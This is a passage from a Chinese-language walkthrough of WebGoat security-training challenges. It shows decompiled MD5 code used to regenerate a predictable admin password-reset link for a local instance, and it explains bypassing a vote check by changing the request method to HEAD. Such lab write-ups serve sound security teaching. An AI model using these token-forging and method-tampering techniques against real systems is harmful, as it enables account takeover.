        i = II(i, j, k, m, paramArrayOfint[12], 6, 1700485571);
        m = II(m, i, j, k, paramArrayOfint[3], 10, -1894986606);
        k = II(k, m, i, j, paramArrayOfint[10], 15, -1051523);
        j = II(j, k, m, i, paramArrayOfint[1], 21, -2054922799);
        i = II(i, j, k, m, paramArrayOfint[8], 6, 1873313359);
        m = II(m, i, j, k, paramArrayOfint[15], 10, -30611744);
        k = II(k, m, i, j, paramArrayOfint[6], 15, -1560198380);
        j = II(j, k, m, i, paramArrayOfint[13], 21, 1309151649);
        i = II(i, j, k, m, paramArrayOfint[4], 6, -145523070);
        m = II(m, i, j, k, paramArrayOfint[11], 10, -1120210379);
        k = II(k, m, i, j, paramArrayOfint[2], 15, 718787259);
        j = II(j, k, m, i, paramArrayOfint[9], 21, -343485551);
        paramMD5State.state[0] = paramMD5State.state[0] + i;
        paramMD5State.state[1] = paramMD5State.state[1] + j;
        paramMD5State.state[2] = paramMD5State.state[2] + k;
        paramMD5State.state[3] = paramMD5State.state[3] + m;
    }
}

将代码复制到 IDEA 中,结构如下:

运行 PasswordResetLink 文件,发现需要输入用户名。

输入参数 admin 后运行。

得到一个随机数链接375afe1104f4a487a73823c50a9292a2

将前面邮件中的链接:

url 复制代码
http://127.0.0.1:8080/WebGoat/challenge/7/reset-password/2f9ee6a7ed90075b747518d535f55215

替换如下,注意端口要替换为自己 webgoat 的启动端口,我的是 8001。

url 复制代码
http://127.0.0.1:8001/WebGoat/challenge/7/reset-password/375afe1104f4a487a73823c50a9292a2

输入页面的 flag 即可通过。

Without account

第 1 页

目标:完成投票。

知识点:Spring MVC 会将 HEAD 请求路由到对应的 @GetMapping 接口(因为 HEAD 被视为 GET 的 "无体" 变体)

抓包后修改请求方法即可获取 flag 信息。

输入 flag 信息即可通过。

相关推荐
侠客行03178 小时前
Mybatis连接池实现及池化模式
java·mybatis·源码阅读
蛇皮划水怪8 小时前
深入浅出LangChain4J
java·langchain·llm
老毛肚10 小时前
MyBatis体系结构与工作原理 上篇
java·mybatis
风流倜傥唐伯虎10 小时前
Spring Boot Jar包生产级启停脚本
java·运维·spring boot
Yvonne爱编码11 小时前
JAVA数据结构 DAY6-栈和队列
java·开发语言·数据结构·python
Re.不晚11 小时前
JAVA进阶之路——无奖问答挑战1
java·开发语言
你这个代码我看不懂11 小时前
@ConditionalOnProperty不直接使用松绑定规则
java·开发语言
fuquxiaoguang11 小时前
深入浅出:使用MDC构建SpringBoot全链路请求追踪系统
java·spring boot·后端·调用链分析
琹箐11 小时前
最大堆和最小堆 实现思路
java·开发语言·算法
__WanG11 小时前
JavaTuples 库分析
java